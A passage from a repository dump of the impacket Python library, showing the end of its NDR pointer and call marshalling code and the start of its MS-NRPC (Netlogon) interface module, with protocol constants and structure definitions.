None:\n            self.fields['ReferentID'] = random.randint(1,65535)\n        else:\n           self.fromString(data)\n\n    def __setitem__(self, key, value):\n        if (key in self.fields) is False:\n            # Key not found.. let's send it to the referent to handle, maybe it's there\n            return self.fields['Data'].__setitem__(key,value)\n        else:\n            return NDRSTRUCT.__setitem__(self,key,value)\n\n    def __getitem__(self, key):\n        if key in self.fields:\n            if isinstance(self.fields[key], NDR):\n                if 'Data' in self.fields[key].fields:\n                    return self.fields[key]['Data']\n            return self.fields[key]\n        else:\n            # Key not found, let's send it to the referent, maybe it's there\n            return self.fields['Data'].__getitem__(key)\n\n    def getData(self, soFar = 0):\n        # First of all we need to align ourselves\n        data = b''\n        pad = self.calculatePad(self.commonHdr[0][1], soFar)\n        if pad > 0:\n            soFar += pad\n            data = b'\\xaa'*pad\n        # If we have a ReferentID == 0, means there's no data\n        if self.fields['ReferentID'] == 0:\n            if len(self.referent) > 0:\n                self['Data'] = b''\n            else:\n                if self._isNDR64 is True:\n                    return data+b'\\x00'*8\n                else:\n                    return data+b'\\x00'*4\n\n        return data + NDRSTRUCT.getData(self, soFar)\n\n    def fromString(self, data, offset=0):\n        # First of all we need to align ourselves\n        pad = self.calculatePad(self.commonHdr[0][1], offset)\n        offset += pad\n\n        # Do we have a Referent ID == 0?\n        if self._isNDR64 is True:\n            unpackStr = '<Q'\n        else:\n            unpackStr = '<L'\n\n        if unpack_from(unpackStr, data, offset)[0] == 0:\n            # Let's save the value\n            self['ReferentID'] = 0\n            self.fields['Data'] = b''\n            if self._isNDR64 is True:\n                return pad + 8\n            else:\n                return pad + 4\n        else:\n            retVal = NDRSTRUCT.fromString(self, data, offset)\n            return retVal + pad\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here we just print the referent\n        if isinstance(self.fields['Data'], NDR):\n            self.fields['Data'].dump('', indent = indent)\n        else:\n            if self['ReferentID'] == 0:\n                print(\" NULL\", end=' ')\n            else:\n                print(\" %r\" % (self['Data']), end=' ')\n\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\n\n# Embedded Reference Pointers not implemented for now\n\n################################################################################\n# Common RPC Data Types\n\nclass PNDRUniConformantVaryingArray(NDRPOINTER):\n    referent = (\n        ('Data', NDRUniConformantVaryingArray),\n    )\n\nclass PNDRUniConformantArray(NDRPOINTER):\n    referent = (\n        ('Data', NDRUniConformantArray),\n    )\n    def __init__(self, data = None, isNDR64 = False, topLevel = False):\n        NDRPOINTER.__init__(self,data,isNDR64,topLevel)\n\nclass NDRCALL(NDRCONSTRUCTEDTYPE):\n    # This represents a group of NDR instances that conforms an NDR Call.\n    # The only different between a regular NDR instance is a NDR call must\n    # represent the referents when building the final octet stream\n    referent       = ()\n    commonHdr      = ()\n    commonHdr64    = ()\n    structure      = ()\n    structure64    = ()\n    align          = 4\n    def __init__(self, data = None, isNDR64 = False):\n        self._isNDR64 = isNDR64\n        self.fields = {}\n\n        if isNDR64 is True:\n            if self.commonHdr64 != ():\n                self.commonHdr = self.commonHdr64\n            if self.structure64 != ():\n                self.structure = self.structure64\n            if hasattr(self, 'align64'):\n                self.align = self.align64\n\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:\n            if self.isNDR(fieldTypeOrClass):\n               if self.isPointer(fieldTypeOrClass):\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = True)\n               elif self.isUnion(fieldTypeOrClass):\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = True)\n               else:\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)\n            elif fieldTypeOrClass == ':':\n               self.fields[fieldName] = None\n            elif len(fieldTypeOrClass.split('=')) == 2:\n               try:\n                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])\n               except:\n                   self.fields[fieldName] = None\n            else:\n               self.fields[fieldName] = 0\n\n        if data is not None:\n            self.fromString(data)\n\n    def dump(self, msg = None, indent = 0):\n        NDRCONSTRUCTEDTYPE.dump(self, msg, indent)\n        print('\\n\\n')\n\n    def getData(self, soFar = 0):\n        data = b''\n        soFar0 = soFar\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                pad = self.calculatePad(fieldTypeOrClass, soFar)\n                if pad > 0:\n                    soFar += pad\n                    data += b'\\xab'*pad\n\n                # Are we dealing with an array?\n                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName],\n                              NDRUniConformantVaryingArray):\n                    # Align size item\n                    if self._isNDR64:\n                        pad = (8 - (soFar % 8)) % 8\n                    else:\n                        pad = (4 - (soFar % 4)) % 4\n                    # Pack the item\n                    res = self.pack(fieldName, fieldTypeOrClass, soFar+pad)\n                    # Yes, get the array size\n                    arraySize = self.getArrayMaximumSize(fieldName)\n                    if self._isNDR64:\n                        pad = (8 - (soFar % 8)) % 8\n                        data += b'\\xce'*pad + pack('<Q', arraySize) + res\n                    else:\n                        pad = (4 - (soFar % 4)) % 4\n                        data += b'\\xce'*pad + pack('<L', arraySize) + res\n                else:\n                    data += self.pack(fieldName, fieldTypeOrClass, soFar)\n\n                soFar = soFar0 + len(data)\n                # Any referent information to pack?\n                # I'm still not sure whether this should go after processing\n                # all the fields at the call level.\n                # Guess we'll figure it out testing.\n                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n                    data += self.fields[fieldName].getDataReferents(soFar)\n                    soFar = soFar0 + len(data)\n                    data += self.fields[fieldName].getDataReferent(soFar)\n                    soFar = soFar0 + len(data)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n    def fromString(self, data, offset=0):\n        offset0 = offset\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                # Are we dealing with an array?\n                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName],\n                              NDRUniConformantVaryingArray):\n                    # Yes, get the array size\n                    arraySize, advanceStream = self.getArraySize(fieldName, data, offset)\n                    self.fields[fieldName].setArraySize(arraySize)\n                    offset += advanceStream\n\n                size = self.unpack(fieldName, fieldTypeOrClass, data, offset)\n\n                # Any referent information to unpack?\n                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n                    size += self.fields[fieldName].fromStringReferents(data, offset+size)\n                    size += self.fields[fieldName].fromStringReferent(data, offset+size)\n                offset += size\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n\n        return offset - offset0\n\n# Top Level Struct == NDRCALL\nNDRTLSTRUCT = NDRCALL\n\nclass UNKNOWNDATA(NDR):\n    align = 1\n    structure = (\n        ('Data', ':'),\n    )\n"
  },
  {
    "path": "impacket/dcerpc/v5/nrpc.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-NRPC] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nimport time\nfrom struct import pack, unpack\nfrom six import b\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \\\n    NDRUniFixedArray, NDRUniConformantVaryingArray\nfrom impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \\\n    GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG, ULONGLONG\nfrom impacket import system_errors, nt_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.samr import OLD_LARGE_INTEGER\nfrom impacket.dcerpc.v5.lsad import PLSA_FOREST_TRUST_INFORMATION\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.structure import Structure\nfrom impacket import ntlm, crypto, LOG\nimport hmac\nimport hashlib\ntry:\n    from Cryptodome.Cipher import DES, AES, ARC4\nexcept ImportError:\n    LOG.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    LOG.critical(\"See https://pypi.org/project/pycryptodomex/\")\n\nMSRPC_UUID_NRPC = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]\n            return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        elif key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]\n            return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'NRPC SessionError: unknown error code: 0x%x' % (self.error_code)\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1.2.5 NL_DNS_NAME_INFO\n# Type\nNlDnsLdapAtSite       = 22\nNlDnsGcAtSite         = 25\nNlDnsDsaCname         = 28\nNlDnsKdcAtSite        = 30\nNlDnsDcAtSite         = 32\nNlDnsRfc1510KdcAtSite = 34\nNlDnsGenericGcAtSite  = 36\n\n# DnsDomainInfoType\nNlDnsDomainName      = 1\nNlDnsDomainNameAlias = 2\nNlDnsForestName      = 3\nNlDnsForestNameAlias = 4\nNlDnsNdncDomainName  = 5\nNlDnsRecordName      = 6\n\n# 2.2.1.3.15 NL_OSVERSIONINFO_V1\n# wSuiteMask\nVER_SUITE_BACKOFFICE               = 0x00000004\nVER_SUITE_BLADE                    = 0x00000400\nVER_SUITE_COMPUTE_SERVER           = 0x00004000\nVER_SUITE_DATACENTER               = 0x00000080\nVER_SUITE_ENTERPRISE               = 0x00000002\nVER_SUITE_EMBEDDEDNT               = 0x00000040\nVER_SUITE_PERSONAL                 = 0x00000200\nVER_SUITE_SINGLEUSERTS             = 0x00000100\nVER_SUITE_SMALLBUSINESS            = 0x00000001\nVER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020\nVER_SUITE_STORAGE_SERVER           = 0x00002000\nVER_SUITE_TERMINAL                 = 0x00000010\n\n# wProductType\nVER_NT_DOMAIN_CONTROLLER = 0x00000002\nVER_NT_SERVER            = 0x00000003\nVER_NT_WORKSTATION       = 0x00000001\n\n# 2.2.1.4.18 NETLOGON Specific Access Masks\nNETLOGON_UAS_LOGON_ACCESS  = 0x0001\nNETLOGON_UAS_LOGOFF_ACCESS = 0x0002\nNETLOGON_CONTROL_ACCESS    = 0x0004\nNETLOGON_QUERY_ACCESS      = 0x0008\nNETLOGON_SERVICE_ACCESS    = 0x0010\nNETLOGON_FTINFO_ACCESS     = 0x0020\nNETLOGON_WKSTA_RPC_ACCESS  = 0x0040\n\n# 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18)\n# FunctionCode\nNETLOGON_CONTROL_QUERY             = 0x00000001\nNETLOGON_CONTROL_REPLICATE         = 0x00000002\nNETLOGON_CONTROL_SYNCHRONIZE       = 0x00000003\nNETLOGON_CONTROL_PDC_REPLICATE     = 0x00000004\nNETLOGON_CONTROL_REDISCOVER        = 0x00000005\nNETLOGON_CONTROL_TC_QUERY          = 0x00000006\nNETLOGON_CONTROL_TRANSPORT_NOTIFY  = 0x00000007\nNETLOGON_CONTROL_FIND_USER         = 0x00000008\nNETLOGON_CONTROL_CHANGE_PASSWORD   = 0x00000009\nNETLOGON_CONTROL_TC_VERIFY         = 0x0000000A\nNETLOGON_CONTROL_FORCE_DNS_REG     = 0x0000000B\nNETLOGON_CONTROL_QUERY_DNS_REG     = 0x0000000C\nNETLOGON_CONTROL_BACKUP_CHANGE_LOG = 0x0000FFFC\nNETLOGON_CONTROL_TRUNCATE_LOG      = 0x0000FFFD\nNETLOGON_CONTROL_SET_DBFLAG        = 0x0000FFFE\nNETLOGON_CONTROL_BREAKPOINT        = 0x0000FFFF\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 3.5.4.1 RPC Binding Handles for Netlogon Methods\nLOGONSRV_HANDLE = WSTR\nPLOGONSRV_HANDLE = LPWSTR\n\n# 2.2.1.1.1 CYPHER_BLOCK\nclass CYPHER_BLOCK(NDRSTRUCT):\n    structure = (\n        ('Data', '8s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nNET_API_STATUS = DWORD\n\n# 2.2.1.1.2 STRING\nfrom impacket.dcerpc.v5.lsad import STRING\n\n# 2.2.1.1.3 LM_OWF_PASSWORD\nclass CYPHER_BLOCK_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return len(CYPHER_BLOCK())*2\n\nclass LM_OWF_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Data', CYPHER_BLOCK_ARRAY),\n    )\n\n# 2.2.1.1.4 NT_OWF_PASSWORD\nNT_OWF_PASSWORD = LM_OWF_PASSWORD\nENCRYPTED_NT_OWF_PASSWORD = NT_OWF_PASSWORD\n\n# 2.2.1.3.4 NETLOGON_CREDENTIAL\nclass UCHAR_FIXED_ARRAY(NDRUniFixedArray):\n    align = 1\n    def getDataLen(self, data, offset=0):\n        return len(CYPHER_BLOCK())\n\nclass NETLOGON_CREDENTIAL(NDRSTRUCT):\n    structure = (\n        ('Data',UCHAR_FIXED_ARRAY),\n    )\n    def getAlignment(self):\n        return 1\n\n# 2.2.1.1.5 NETLOGON_AUTHENTICATOR\nclass NETLOGON_AUTHENTICATOR(NDRSTRUCT):\n    structure = (\n        ('Credential', NETLOGON_CREDENTIAL),\n        ('Timestamp', DWORD),\n    )\n\nclass PNETLOGON_AUTHENTICATOR(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_AUTHENTICATOR),\n    )\n\n# 2.2.1.2.1 DOMAIN_CONTROLLER_INFOW\nclass DOMAIN_CONTROLLER_INFOW(NDRSTRUCT):\n    structure = (\n        ('DomainControllerName', LPWSTR),\n        ('DomainControllerAddress', LPWSTR),\n        ('DomainControllerAddressType', ULONG),\n        ('DomainGuid', GUID),\n        ('DomainName', LPWSTR),\n        ('DnsForestName', LPWSTR),\n        ('Flags', ULONG),\n        ('DcSiteName', LPWSTR),\n        ('ClientSiteName', LPWSTR),\n    )\n\nclass PDOMAIN_CONTROLLER_INFOW(NDRPOINTER):\n    referent = (\n        ('Data', DOMAIN_CONTROLLER_INFOW),\n    )\n\n# 2.2.1.2.2 NL_SITE_NAME_ARRAY\nclass RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\nclass PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', RPC_UNICODE_STRING_ARRAY),\n    )\n\nclass NL_SITE_NAME_ARRAY(NDRSTRUCT):\n    structure = (\n        ('EntryCount', ULONG),\n        ('SiteNames', PRPC_UNICODE_STRING_ARRAY),\n    )\n\nclass PNL_SITE_NAME_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NL_SITE_NAME_ARRAY),\n    )\n\n# 2.2.1.2.3 NL_SITE_NAME_EX_ARRAY\nclass RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\nclass NL_SITE_NAME_EX_ARRAY(NDRSTRUCT):\n    structure = (\n        ('EntryCount', ULONG),\n        ('SiteNames', PRPC_UNICODE_STRING_ARRAY),\n        ('SubnetNames', PRPC_UNICODE_STRING_ARRAY),\n    )\n\nclass PNL_SITE_NAME_EX_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NL_SITE_NAME_EX_ARRAY),\n    )\n\n# 2.2.1.2.4 NL_SOCKET_ADDRESS\n# 2.2.1.2.4.1 IPv4 Address Structure\nclass IPv4Address(Structure):\n    structure = (\n        ('AddressFamily', '<H=0'),\n        ('Port', '<H=0'),\n        ('Address', '<L=0'),\n        ('Padding', '<L=0'),\n    )\n\nclass UCHAR_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PUCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', UCHAR_ARRAY),\n    )\n\nclass NL_SOCKET_ADDRESS(NDRSTRUCT):\n    structure = (\n        ('lpSockaddr', PUCHAR_ARRAY),\n        ('iSockaddrLength', ULONG),\n    )\n\nclass NL_SOCKET_ADDRESS_ARRAY(NDRUniConformantArray):\n    item = NL_SOCKET_ADDRESS\n\n# 2.2.1.2.5 NL_DNS_NAME_INFO\nclass NL_DNS_NAME_INFO(NDRSTRUCT):\n    structure = (\n        ('Type', ULONG),\n        ('DnsDomainInfoType', WSTR),\n        ('Priority', ULONG),\n        ('Weight', ULONG),\n        ('Port', ULONG),\n        ('Register', UCHAR),\n        ('Status', ULONG),\n    )\n\n# 2.2.1.2.6 NL_DNS_NAME_INFO_ARRAY\nclass NL_DNS_NAME_INFO_ARRAY(NDRUniConformantArray):\n    item = NL_DNS_NAME_INFO\n\nclass PNL_DNS_NAME_INFO_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NL_DNS_NAME_INFO_ARRAY),\n    )\n\nclass NL_DNS_NAME_INFO_ARRAY(NDRSTRUCT):\n    structure = (\n        ('EntryCount', ULONG),\n        ('DnsNamesInfo', PNL_DNS_NAME_INFO_ARRAY),\n    )\n\n# 2.2.1.3 Secure Channel Establishment and Maintenance Structures\n# ToDo\n\n# 2.2.1.3.5 NETLOGON_LSA_POLICY_INFO\nclass NETLOGON_LSA_POLICY_INFO(NDRSTRUCT):\n    structure = (\n        ('LsaPolicySize', ULONG),\n        ('LsaPolicy', PUCHAR_ARRAY),\n    )\n\nclass PNETLOGON_LSA_POLICY_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_LSA_POLICY_INFO),\n    )\n\n# 2.2.1.3.6 NETLOGON_WORKSTATION_INFO\nclass NETLOGON_WORKSTATION_INFO(NDRSTRUCT):\n    structure = (\n        ('LsaPolicy', NETLOGON_LSA_POLICY_INFO),\n        ('DnsHostName', LPWSTR),\n        ('SiteName', LPWSTR),\n        ('Dummy1', LPWSTR),\n        ('Dummy2', LPWSTR),\n        ('Dummy3', LPWSTR),\n        ('Dummy4', LPWSTR),\n        ('OsVersion', RPC_UNICODE_STRING),\n        ('OsName', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('WorkstationFlags', ULONG),\n        ('KerberosSupportedEncryptionTypes', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_WORKSTATION_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_WORKSTATION_INFO),\n    )\n\n# 2.2.1.3.7 NL_TRUST_PASSWORD\nclass NL_TRUST_PASSWORD_FIXED_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 512+4\n\n    def getAlignment(self):\n        return 1\n\nclass WCHAR_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 512\n\nclass NL_TRUST_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Buffer', WCHAR_ARRAY),\n        ('Length', ULONG),\n    )\n\nclass PNL_TRUST_PASSWORD(NDRPOINTER):\n    referent = (\n        ('Data', NL_TRUST_PASSWORD),\n    )\n\n# 2.2.1.3.8 NL_PASSWORD_VERSION\nclass NL_PASSWORD_VERSION(NDRSTRUCT):\n    structure = (\n        ('ReservedField', ULONG),\n        ('PasswordVersionNumber', ULONG),\n        ('PasswordVersionPresent', ULONG),\n    )\n\n# 2.2.1.3.9 NETLOGON_WORKSTATION_INFORMATION\nclass NETLOGON_WORKSTATION_INFORMATION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('WorkstationInfo', PNETLOGON_WORKSTATION_INFO),\n        2 : ('LsaPolicyInfo', PNETLOGON_LSA_POLICY_INFO),\n    }\n\n# 2.2.1.3.10 NETLOGON_ONE_DOMAIN_INFO\nclass NETLOGON_ONE_DOMAIN_INFO(NDRSTRUCT):\n    structure = (\n        ('DomainName', RPC_UNICODE_STRING),\n        ('DnsDomainName', RPC_UNICODE_STRING),\n        ('DnsForestName', RPC_UNICODE_STRING),\n        ('DomainGuid', GUID),\n        ('DomainSid', PRPC_SID),\n        ('TrustExtension', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass NETLOGON_ONE_DOMAIN_INFO_ARRAY(NDRUniConformantArray):\n    item = NETLOGON_ONE_DOMAIN_INFO\n\nclass PNETLOGON_ONE_DOMAIN_INFO_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_ONE_DOMAIN_INFO_ARRAY),\n    )\n\n# 2.2.1.3.11 NETLOGON_DOMAIN_INFO\nclass NETLOGON_DOMAIN_INFO(NDRSTRUCT):\n    structure = (\n        ('PrimaryDomain', NETLOGON_ONE_DOMAIN_INFO),\n        ('TrustedDomainCount', ULONG),\n        ('TrustedDomains', PNETLOGON_ONE_DOMAIN_INFO_ARRAY),\n        ('LsaPolicy', NETLOGON_LSA_POLICY_INFO),\n        ('DnsHostNameInDs', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('WorkstationFlags', ULONG),\n        ('SupportedEncTypes', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DOMAIN_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DOMAIN_INFO),\n    )\n\n# 2.2.1.3.12 NETLOGON_DOMAIN_INFORMATION\nclass NETLOGON_DOMAIN_INFORMATION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('DomainInfo', PNETLOGON_DOMAIN_INFO),\n        2 : ('LsaPolicyInfo', PNETLOGON_LSA_POLICY_INFO),\n    }\n\n# 2.2.1.3.13 NETLOGON_SECURE_CHANNEL_TYPE\nclass NETLOGON_SECURE_CHANNEL_TYPE(NDRENUM):\n    class enumItems(Enum):\n        NullSecureChannel             = 0\n        MsvApSecureChannel            = 1\n        WorkstationSecureChannel      = 2\n        TrustedDnsDomainSecureChannel = 3\n        TrustedDomainSecureChannel    = 4\n        UasServerSecureChannel        = 5\n        ServerSecureChannel           = 6\n        CdcServerSecureChannel        = 7\n\n# 2.2.1.3.14 NETLOGON_CAPABILITIES\nclass NETLOGON_CAPABILITIES(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('ServerCapabilities', ULONG),\n    }\n\n# 2.2.1.3.15 NL_OSVERSIONINFO_V1\nclass UCHAR_FIXED_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 128\n\nclass NL_OSVERSIONINFO_V1(NDRSTRUCT):\n    structure = (\n        ('dwOSVersionInfoSize', DWORD),\n        ('dwMajorVersion', DWORD),\n        ('dwMinorVersion', DWORD),\n        ('dwBuildNumber', DWORD),\n        ('dwPlatformId', DWORD),\n        ('szCSDVersion', UCHAR_FIXED_ARRAY),\n        ('wServicePackMajor', USHORT),\n        ('wServicePackMinor', USHORT),\n        ('wSuiteMask', USHORT),\n        ('wProductType', UCHAR),\n        ('wReserved', UCHAR),\n    )\n\nclass PNL_OSVERSIONINFO_V1(NDRPOINTER):\n    referent = (\n        ('Data', NL_OSVERSIONINFO_V1),\n    )\n\n# 2.2.1.3.16 NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1\nclass PLPWSTR(NDRPOINTER):\n    referent = (\n        ('Data', LPWSTR),\n    )\n\nclass NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRSTRUCT):\n    structure = (\n        ('ClientDnsHostName', PLPWSTR),\n        ('OsVersionInfo', PNL_OSVERSIONINFO_V1),\n        ('OsName', PLPWSTR),\n    )\n\n# 2.2.1.3.17 NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES\nclass NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('V1', NL_IN_CHAIN_SET_CLIENT_ATTRIBUTES_V1),\n    }\n\n# 2.2.1.3.18 NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1\nclass NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1(NDRSTRUCT):\n    structure = (\n        ('HubName', PLPWSTR),\n        ('OldDnsHostName', PLPWSTR),\n        ('SupportedEncTypes', LPULONG),\n    )\n\n# 2.2.1.3.19 NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES\nclass NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('V1', NL_OUT_CHAIN_SET_CLIENT_ATTRIBUTES_V1),\n    }\n\n# 2.2.1.4.1 LM_CHALLENGE\nclass CHAR_FIXED_8_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 8\n\nclass LM_CHALLENGE(NDRSTRUCT):\n    structure = (\n        ('Data', CHAR_FIXED_8_ARRAY),\n    )\n\n# 2.2.1.4.15 NETLOGON_LOGON_IDENTITY_INFO\nclass NETLOGON_LOGON_IDENTITY_INFO(NDRSTRUCT):\n    structure = (\n        ('LogonDomainName', RPC_UNICODE_STRING),\n        ('ParameterControl', ULONG),\n        ('Reserved', OLD_LARGE_INTEGER),\n        ('UserName', RPC_UNICODE_STRING),\n        ('Workstation', RPC_UNICODE_STRING),\n    )\n\nclass PNETLOGON_LOGON_IDENTITY_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_LOGON_IDENTITY_INFO),\n    )\n\n# 2.2.1.4.2 NETLOGON_GENERIC_INFO\nclass NETLOGON_GENERIC_INFO(NDRSTRUCT):\n    structure = (\n        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),\n        ('PackageName', RPC_UNICODE_STRING),\n        ('DataLength', ULONG),\n        ('LogonData', PUCHAR_ARRAY),\n    )\n\nclass PNETLOGON_GENERIC_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_GENERIC_INFO),\n    )\n\n# 2.2.1.4.3 NETLOGON_INTERACTIVE_INFO\nclass NETLOGON_INTERACTIVE_INFO(NDRSTRUCT):\n    structure = (\n        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),\n        ('LmOwfPassword', LM_OWF_PASSWORD),\n        ('NtOwfPassword', NT_OWF_PASSWORD),\n    )\n\nclass PNETLOGON_INTERACTIVE_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_INTERACTIVE_INFO),\n    )\n\n# 2.2.1.4.4 NETLOGON_SERVICE_INFO\nclass NETLOGON_SERVICE_INFO(NDRSTRUCT):\n    structure = (\n        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),\n        ('LmOwfPassword', LM_OWF_PASSWORD),\n        ('NtOwfPassword', NT_OWF_PASSWORD),\n    )\n\nclass PNETLOGON_SERVICE_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_SERVICE_INFO),\n    )\n\n# 2.2.1.4.5 NETLOGON_NETWORK_INFO\nclass NETLOGON_NETWORK_INFO(NDRSTRUCT):\n    structure = (\n        ('Identity', NETLOGON_LOGON_IDENTITY_INFO),\n        ('LmChallenge', LM_CHALLENGE),\n        ('NtChallengeResponse', STRING),\n        ('LmChallengeResponse', STRING),\n    )\n\nclass PNETLOGON_NETWORK_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_NETWORK_INFO),\n    )\n\n# 2.2.1.4.16 NETLOGON_LOGON_INFO_CLASS\nclass NETLOGON_LOGON_INFO_CLASS(NDRENUM):\n    class enumItems(Enum):\n        NetlogonInteractiveInformation           = 1\n        NetlogonNetworkInformation               = 2\n        NetlogonServiceInformation               = 3\n        NetlogonGenericInformation               = 4\n        NetlogonInteractiveTransitiveInformation = 5\n        NetlogonNetworkTransitiveInformation     = 6\n        NetlogonServiceTransitiveInformation     = 7\n\n# 2.2.1.4.6 NETLOGON_LEVEL\nclass NETLOGON_LEVEL(NDRUNION):\n    union = {\n        NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation           : ('LogonInteractive', PNETLOGON_INTERACTIVE_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation : 